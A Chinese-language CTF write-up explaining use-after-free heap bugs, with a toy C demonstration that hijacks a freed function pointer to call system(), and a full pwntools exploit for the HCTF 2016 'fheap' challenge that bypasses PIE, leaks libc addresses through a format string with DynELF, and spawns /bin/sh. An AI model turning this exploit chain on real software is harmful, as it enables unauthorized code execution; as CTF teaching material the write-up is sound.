逆向安全系列:Use After Free漏洞浅析

安全 漏洞
下面主要是用hctf的这道题来给大家讲述game利用use after free的原理

[[181787]]

一、前言

想着接下来要写一个use after free的小总结,刚好碰巧最近的湖湘杯2016的一题----game利用use after free可以解出来。这题是自己***次在比较正式的比赛中做出pwn题,做这题的时间花了不少,效率不高,但自己还是蛮开心的,后面回头做hctf2016的fheap这题,也可以用uaf解出来,game这题题目的复杂度稍微高一点,描述起来有点难,下面主要是用hctf的这道题来给大家讲述原理。对于uaf漏洞,搜了下,uaf漏洞在浏览器中存在很多,有兴趣的同学可以自己去查查。

二、uaf原理

uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态,同样被释放的内存如果被恶意构造数据,就有可能会被利用。先上一段代码给大家一个直观印象再具体解释。

  1. #include <stdio.h> 
  2. #include <stdlib.h> 
  3. typedef void (*func_ptr)(char *); 
  4. void evil_fuc(char command[]) 
  5. system(command); 
  6. void echo(char content[]) 
  7. printf("%s",content); 
  8. int main() 
  9. func_ptr *p1=(int*)malloc(4*sizeof(int)); 
  10. printf("malloc addr: %p\n",p1); 
  11. p1[3]=echo; 
  12. p1[3]("hello world\n"); 
  13. free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针 
  14. p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用. 
  15. func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来. 
  16. printf("malloc addr: %p\n",p2); 
  17. printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址 
  18. p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针. 
  19. p1[3]("whoami"); 
  20. return 0; 

这段代码在32位系统下执行。通过这段代码可以大概将uaf的利用过程小结为以下过程:

1、申请一段空间,并将其释放,释放后并不将指针置为空,因此这个指针仍然可以使用,把这个指针简称为p1。

2、申请空间p2,由于malloc分配的过程使得p2指向的空间为刚刚释放的p1指针的空间,构造恶意的数据将这段内存空间布局好,即覆盖了p1中的数据。

3、利用p1,一般多有一个函数指针,由于之前已使用p2将p1中的数据给覆盖了,所以此时的数据既是我们可控制的,即可能存在劫持函数流的情况。

三、hctf2016--fheap

uaf原理还比较简单,下面就是具体的实践了,这个漏洞复杂一些的话就和double free这些其他的堆的常见利用方法合起来一起出题,具体的可以看bctf2015的freenote。不过fheap这题用uaf直接就解决了。还有就是湖湘杯2016的game题,和fheap基本上是一样的,这题大家跟出来了的话可以去做下game试下。先介绍fheap的功能。

A、程序功能

http://p9.qhimg.com/t01b46cefd558d1d0a1.png

程序提供的功能比较简单,总共两个功能:

1、create string

http://p9.qhimg.com/t013b79188c80312bfa.png

输入create 后,接着输入size,后输入具体的字符串。相关的数据结构则是:先申请0x20字节的堆块存储结构,如果输入的字符串长度大于0xf,则另外申请对应长度的空间存储字符串,否则直接存储在之前申请的0x20字节的前16字节处,在***,会将相关free函数的地址存储在堆存储结构的后八字节处。相关示意图描绘如下:

程序功能create string

2、delete string

调用存储在结构体里的free_func这个指针来释放堆,由于在释放以后没有将指针置空,出现了释放后仍可利用的现象,即uaf。

delete string

B、查看防护机制

首先查看开启的安全机制

查看开启的安全机制

可以看到开启了PIE,在解题的过程中还需要绕过PIE,PIE是指代码段的地址也会随机化,不过低两位的字节是固定的,利用这一点我们可以来泄露出程序的地址。

C、利用思路

总思路:首先是利用uaf,利用堆块之间申请与释放的步骤,形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说,先申请的是三个字符创小于0xf的堆块,并将其释放。此时fastbin中空堆块的单链表结构如下左图,紧接着再申请一个字符串长度为0x20的字符串,此时,申请出来的堆中的数据会如下右图,此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间,这时候输入的数据就能覆盖到1号堆块中的free_func指针,指向我们需要执行的函数,随后再调用1号堆块的free_func函数,即实现了劫持函数流的目的。

利用uaf,利用堆块之间申请与释放的步骤

1、绕过PIE,在能劫持函数流之后,首先是泄露出程序的地址以绕过PIE,具体的方法是将free_func指针的***位覆盖成"\x2d",变成去执行fputs函数,***变成去打印出free_func的地址,从而得到程序的基地址等。

http://p0.qhimg.com/t0103397379eb072246.png

2、泄露system函数地址,首先有了程序的地址后,可以得到printf函数的plt地址,从而想办法在栈中部署数据,使用格式化字符串打印出我们需要的地址中的内容,使用DynELF模块去泄露地址,具体可以看安全客之前有人写的一篇文章---借助DynELF实现无libc的漏洞利用小结。从而泄露出system函数的地址。

3、执行system("/bin/sh")

最终调用system函数开启shell。

D、最终exp

exp最终如下,里面还有部分注释。

  1. from pwn import * 
  2. from ctypes import * 
  3. DEBUG = 1 
  4. if DEBUG: 
  5.      p = process('./fheap') 
  6. else: 
  7.      r = remote('172.16.4.93', 13025) 
  8. print_plt=0 
  9. def create(size,content): 
  10.     p.recvuntil("quit") 
  11.     p.send("create ") 
  12.     p.recvuntil("size:") 
  13.     p.send(str(size)+'\n') 
  14.     p.recvuntil('str:') 
  15.     p.send(content.ljust(size,'\x00')) 
  16.     p.recvuntil('\n')[:-1] 
  17. def delete(idx): 
  18.    p.recvuntil("quit") 
  19.    p.send("delete "+'\n') 
  20.    p.recvuntil('id:') 
  21.     p.send(str(idx)+'\n') 
  22.     p.recvuntil('sure?:') 
  23.     p.send('yes '+'\n') 
  24. def leak(addr): 
  25.     delete(0) 
  26.     #printf函数格式化字符串打印第九个参数地址中的数据,第九个刚好是输入addr的位置 
  27.     data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt) 
  28.     create(0x20,data) 
  29.     p.recvuntil("quit") 
  30.     p.send("delete ") 
  31.     p.recvuntil('id:') 
  32.     p.send(str(1)+'\n') 
  33.     p.recvuntil('sure?:') 
  34.     p.send('yes01234'+p64(addr)) 
  35.     p.recvuntil('aa') 
  36.     data=p.recvuntil('####')[:-4] 
  37.     data += "\x00" 
  38.     return data 
  39. def pwn(): 
  40.     global print_plt 
  41.      create(4,'aa') 
  42.      create(4,'bb') 
  43.     create(4,'cc') 
  44.      delete(2) 
  45.     delete(1) 
  46.     delete(0) 
  47.     #申请三个堆块,随后删除,从而在fastbin链表中形成三个空的堆块 
  48.     #part1 覆盖到fputs函数,绕过PIE 
  49.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00'#***次覆盖,泄露出函数地址。 
  50.     create(0x20,data)#在这里连续创建两个堆块,从而使输入的data与前面的块1公用一块内存。 
  51.     delete(1)#这里劫持函数程序流 
  52.     p.recvuntil('b'*0x8) 
  53.     data=p.recvuntil('1.')[:-2] 
  54.     if len(data)>8: 
  55.         datadata=data[:8] 
  56.     data=u64(data.ljust(8,'\x00'))-0xA000000000000 #这里减掉的数可能不需要,自行调整 
  57.      proc_base=data-0xd2d 
  58.     print "proc base",hex(proc_base) 
  59.     print_plt=proc_base+0x9d0 
  60.     print "print plt",hex(print_plt) 
  61.     delete(0) 
  62.     data='a'*0x10+'b'*0x8+'\x2D'+'\x00' 
  63.     create(0x20,data) 
  64.     delete(1) 
  65.     p.recvuntil('b'*0x8) 
  66.     data=p.recvuntil('1.')[:-2] 
  67.     #part2 使用DynELF泄露system函数地址 
  68.      d = DynELF(leak, proc_base, elf=ELF('./fheap')) 
  69.     system_addr = d.lookup('system', 'libc') 
  70.     print "system_addr:", hex(system_addr) 
  71.      
  72.     #parts 执行system函数,开启shell 
  73.     delete(0) 
  74.     data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr) 
  75.     create(0x20,data) 
  76.     delete(1) 
  77.     p.interactive() 
  78.     #### 
  79.     #利用的方式总结为 
  80.     #delete(0),将申请出来的堆块添入到fastbin中 
  81.     #create(0x20,data),连续申请两个堆块,数据覆盖1堆中的free_func指针 
  82.      #delete(1)劫持函数流,调用我们覆盖的指针处的地址 
  83.     ### 
  84.     if __name__ == '__main__': 
  85.             pwn() 

执行结果

四、小结

我感觉UAF最主要的是,在释放了堆块以后没有将指针置空,后续过程中内存空间数据被覆盖为其他数据后,该指针仍然可以正常使用该内存,从而导致数据的误用。ctf题中容易碰见的是,释放的堆块中原本某个区域是用来存储函数指针的,后面被恶意构造的数据覆盖成其他地址实现了劫持函数流的目的,从而有可能就被pwn掉了。

责任编辑:赵宁宁 来源: 安全客
相关推荐

2016-12-19 16:11:31

2019-02-12 09:52:20

Linux安全Windows

2015-08-10 10:04:28

2015-09-18 09:12:08

2019-12-11 10:16:15

数据安全隐私保护网络安全

2016-10-31 13:52:52

戴尔

2009-03-10 13:18:56

2021-02-23 10:43:42

Facebook Ga

2016-10-24 22:05:22

2009-07-01 20:49:06

2009-05-18 16:45:43

2021-05-06 07:04:35

安全漏洞业务

2013-06-06 13:33:17

2011-04-06 13:39:18

2013-06-17 11:34:46

LTE技术华为Digital R

2015-03-05 15:01:52

2010-09-14 21:28:19

2015-05-08 12:11:14

2022-11-24 13:17:43

2023-12-13 18:33:17

点赞
收藏

51CTO技术栈公众号